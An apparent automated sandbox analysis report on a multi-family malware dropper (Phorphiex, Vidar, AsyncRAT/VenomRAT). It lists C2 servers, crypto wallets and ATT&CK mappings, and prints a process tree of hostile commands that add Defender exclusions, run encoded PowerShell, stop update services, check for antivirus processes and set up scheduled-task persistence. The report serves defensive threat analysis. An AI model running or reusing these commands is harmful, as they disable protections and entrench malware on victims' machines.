Overview

overview

10

Static

static

3

4363463463...63.exe

windows7-x64

10

4363463463...63.exe

windows10-1703-x64

10

4363463463...63.exe

windows10-2004-x64

10

4363463463...63.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-08-2024 09:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    4363463463464363463463463.exe

  • Size

    10KB

  • MD5

    2a94f3960c58c6e70826495f76d00b85

  • SHA1

    e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

  • SHA256

    2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

  • SHA512

    fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

  • SSDEEP

    192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score
10/10
asyncratphorphiexvidar100 rndcredential_accessdiscoveryevasionexecutionloaderpersistenceratspywarestealertrojanworm

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://77.91.77.92/

http://91.202.233.141/
Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv

rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb

4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw

bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3

bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3
Attributes
  • mutex

    55a4er5wo

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36

Extracted

Family

vidar

C2

https://steamcommunity.com/profiles/76561199747278259

https://t.me/armad2a
Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

100 RND

C2

91.92.243.191:5401

Mutex

6871a79e-e4f7-4fb3-ae38-dc20c1d657a0

Attributes
  • delay

    1

  • install

    true

  • install_file

    hyperhostvc.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • DeerStealer 2 IoCs

    Detects DeerStealer malware - JaffaCakes118.

    stealer
  • Detect Vidar Stealer 2 IoCs
    stealer
  • Modifies security service 2 TTPs 3 IoCs
    evasion
  • Phorphiex payload 3 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

    wormtrojanloaderphorphiex
  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • VenomRAT 2 IoCs

    Detects VenomRAT - JaffaCakes118.

    rat
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs 18 IoCs
    evasiontrojan
  • Async RAT payload 1 IoCs
    rat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Contacts a large (1621) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Drops startup file 4 IoCs
  • Executes dropped EXE 29 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Windows security modification 2 TTPs 21 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 60 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: SetClipboardViewer 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3156
      • C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
        "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4092
        • C:\Users\Admin\AppData\Local\Temp\Files\t2.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\t2.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3888
          • C:\Windows\sysmablsvr.exe
            C:\Windows\sysmablsvr.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1372
            • C:\Users\Admin\AppData\Local\Temp\1112715124.exe
              C:\Users\Admin\AppData\Local\Temp\1112715124.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3476
        • C:\Users\Admin\AppData\Local\Temp\Files\t.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3616
          • C:\Windows\sysarddrvs.exe
            C:\Windows\sysarddrvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: SetClipboardViewer
            • Suspicious use of WriteProcessMemory
            PID:1964
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:656
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:928
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1808
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4320
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2432
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4480
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:64
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:4876
            • C:\Users\Admin\AppData\Local\Temp\2386426348.exe
              C:\Users\Admin\AppData\Local\Temp\2386426348.exe
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2708
        • C:\Users\Admin\AppData\Local\Temp\Files\66b0ba4420669_main.exe
          "C:\Users\Admin\AppData\Local\Temp\Files\66b0ba4420669_main.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
              PID:4456
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              4⤵
                PID:4368
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                4⤵
                  PID:4404
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Checks processor information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3052
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" & rd /s /q "C:\ProgramData\JDHJKKFBAEGD" & exit
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:5232
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 10
                      6⤵
                      • System Location Discovery: System Language Discovery
                      • Delays execution with timeout.exe
                      PID:5276
              • C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\twztl.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4232
              • C:\Users\Admin\AppData\Local\Temp\Files\npp.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4156
                • C:\Users\Admin\AppData\Local\Temp\254974193.exe
                  C:\Users\Admin\AppData\Local\Temp\254974193.exe
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3684
              • C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4056
                • C:\Users\Admin\AppData\Local\Temp\307032253.exe
                  C:\Users\Admin\AppData\Local\Temp\307032253.exe
                  4⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:4488
                  • C:\Windows\sysmysldrv.exe
                    C:\Windows\sysmysldrv.exe
                    5⤵
                    • Modifies security service
                    • Windows security bypass
                    • Executes dropped EXE
                    • Windows security modification
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: SetClipboardViewer
                    PID:3964
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:3816
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4592
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:380
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop UsoSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:4264
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop WaaSMedicSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:2428
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop wuauserv
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:3120
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop DoSvc
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:884
                      • C:\Windows\SysWOW64\sc.exe
                        sc stop BITS
                        7⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:1128
                    • C:\Users\Admin\AppData\Local\Temp\171795968.exe
                      C:\Users\Admin\AppData\Local\Temp\171795968.exe
                      6⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      PID:4624
              • C:\Users\Admin\AppData\Local\Temp\Files\build2.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\build2.exe"
                3⤵
                • Executes dropped EXE
                PID:4040
              • C:\Users\Admin\AppData\Local\Temp\Files\Ukodbcdcl.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\Ukodbcdcl.exe"
                3⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4168
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwAVQBrAG8AZABiAGMAZABjAGwALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwARgBpAGwAZQBzAFwAVQBrAG8AZABiAGMAZABjAGwALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE4AdgBhAHUAcgBuAGgAcQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAHYAYQB1AHIAbgBoAHEALgBlAHgAZQA=
                  4⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1864
                • C:\Users\Admin\AppData\Local\Temp\Files\Ukodbcdcl.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\Ukodbcdcl.exe"
                  4⤵
                  • Executes dropped EXE
                  PID:6128
              • C:\Users\Admin\AppData\Local\Temp\Files\1.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
                3⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2204
              • C:\Users\Admin\AppData\Local\Temp\Files\client.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\client.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5312
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"' & exit
                  4⤵
                    PID:5384
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /f /sc onlogon /rl highest /tn "hyperhostvc" /tr '"C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"'
                      5⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5576
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB55.tmp.bat""
                    4⤵
                      PID:5472
                      • C:\Windows\system32\timeout.exe
                        timeout 3
                        5⤵
                        • Delays execution with timeout.exe
                        PID:5568
                      • C:\Users\Admin\AppData\Roaming\hyperhostvc.exe
                        "C:\Users\Admin\AppData\Roaming\hyperhostvc.exe"
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        PID:5828
                  • C:\Users\Admin\AppData\Local\Temp\Files\server.exe
                    "C:\Users\Admin\AppData\Local\Temp\Files\server.exe"
                    3⤵
                    • Executes dropped EXE
                    PID:5620
                  • C:\Users\Admin\AppData\Local\Temp\Files\66bdeddcda135_SicGap.exe
                    "C:\Users\Admin\AppData\Local\Temp\Files\66bdeddcda135_SicGap.exe"
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:6692
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /k move Video Video.cmd & Video.cmd & exit
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:6940
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        5⤵
                        • Enumerates processes with tasklist
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:7160
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /I "wrsa.exe opssvc.exe"
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:3656
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        5⤵
                        • Enumerates processes with tasklist
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6744
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6752
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c md 19698
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6816
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /V "PoliticsProceedsLengthPowers" Russian
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6828
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b ..\Confidentiality + ..\Script + ..\Lodge + ..\Representations + ..\Garcia + ..\Advanced + ..\Attribute + ..\Richards + ..\Nokia + ..\Players + ..\Show + ..\Depends + ..\Blacks + ..\Crack + ..\Telecommunications + ..\Disappointed + ..\Generations + ..\Article + ..\Investments + ..\Ap + ..\Roy + ..\Forced + ..\Virgin + ..\Jackie + ..\Hub + ..\Fighters + ..\Polyester + ..\Collector x
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6872
                      • C:\Users\Admin\AppData\Local\Temp\19698\Infected.pif
                        Infected.pif x
                        5⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:7016
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c copy /b ..\Fi + ..\Malta + ..\Comprehensive + ..\Storm + ..\Resumes + ..\Addressed + ..\Cw + ..\Flame + ..\Order + ..\Roman + ..\Helen + ..\Elizabeth + ..\Si Y
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6200
                      • C:\Users\Admin\AppData\Local\Temp\19698\Infected.pif
                        Infected.pif Y
                        5⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:6808
                      • C:\Windows\SysWOW64\choice.exe
                        choice /d y /t 5
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:6784
                  • C:\Users\Admin\AppData\Local\Temp\Files\66bcade4d5106_absync.exe
                    "C:\Users\Admin\AppData\Local\Temp\Files\66bcade4d5106_absync.exe"
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:8132
                    • C:\Users\Admin\AppData\Local\Programs\PDF Assist Manager\pdfconv.exe
                      "C:\Users\Admin\AppData\Local\Programs\PDF Assist Manager\pdfconv.exe"
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:3488
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c schtasks.exe /create /tn "Conventions" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EchoStream Technologies\EchoSync.js'" /sc minute /mo 5 /F
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:6752
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks.exe /create /tn "Conventions" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EchoStream Technologies\EchoSync.js'" /sc minute /mo 5 /F
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:6908
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EchoSync.url" & echo URL="C:\Users\Admin\AppData\Local\EchoStream Technologies\EchoSync.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EchoSync.url" & exit
                  2⤵
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  PID:6852
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c schtasks.exe /create /tn "False" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EchoStream Technologies1\EchoSync.js'" /sc minute /mo 5 /F
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:6876
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks.exe /create /tn "False" /tr "wscript //B 'C:\Users\Admin\AppData\Local\EchoStream Technologies1\EchoSync.js'" /sc minute /mo 5 /F
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:6860
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EchoSync11.url" & echo URL="C:\Users\Admin\AppData\Local\EchoStream Technologies11\EchoSync.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EchoSync11.url" & exit
                  2⤵
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  PID:6848
                • C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  2⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:7900
                • C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  2⤵
                  • Executes dropped EXE
                  PID:9144
                • C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  C:\Users\Admin\AppData\Local\Temp\19698\RegAsm.exe
                  2⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:8384

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              System Services

              1
              T1569

              Service Execution

              1
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Impair Defenses

              3
              T1562

              Disable or Modify Tools

              2
              T1562.001

              Modify Registry

              4
              T1112

              Credential Access

              Unsecured Credentials

              2
              T1552

              Credentials In Files

              2
              T1552.001

              Discovery

              Network Service Discovery

              1
              T1046

              Process Discovery

              1
              T1057

              Query Registry

              2
              T1012

              System Information Discovery

              2
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Data from Local System

              1
              T1005

              Command and Control

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\EchoStream Technologies11\EchoSync11.pif
                Filesize

                872KB

                MD5

                c56b5f0201a3b3de53e561fe76912bfd

                SHA1

                2a4062e10a5de813f5688221dbeb3f3ff33eb417

                SHA256

                237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

                SHA512

                195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                1c19c16e21c97ed42d5beabc93391fc5

                SHA1

                8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                SHA256

                1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                SHA512

                7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\8S7W85J5\newtpp[1].exe
                Filesize

                92KB

                MD5

                be9388b42333b3d4e163b0ace699897b

                SHA1

                4e1109772eb9cb59c557380822166fe1664403bd

                SHA256

                d281e0a0f1e1073f2d290a7eb1f77bed4c210dbf83a0f4f4e22073f50faa843f

                SHA512

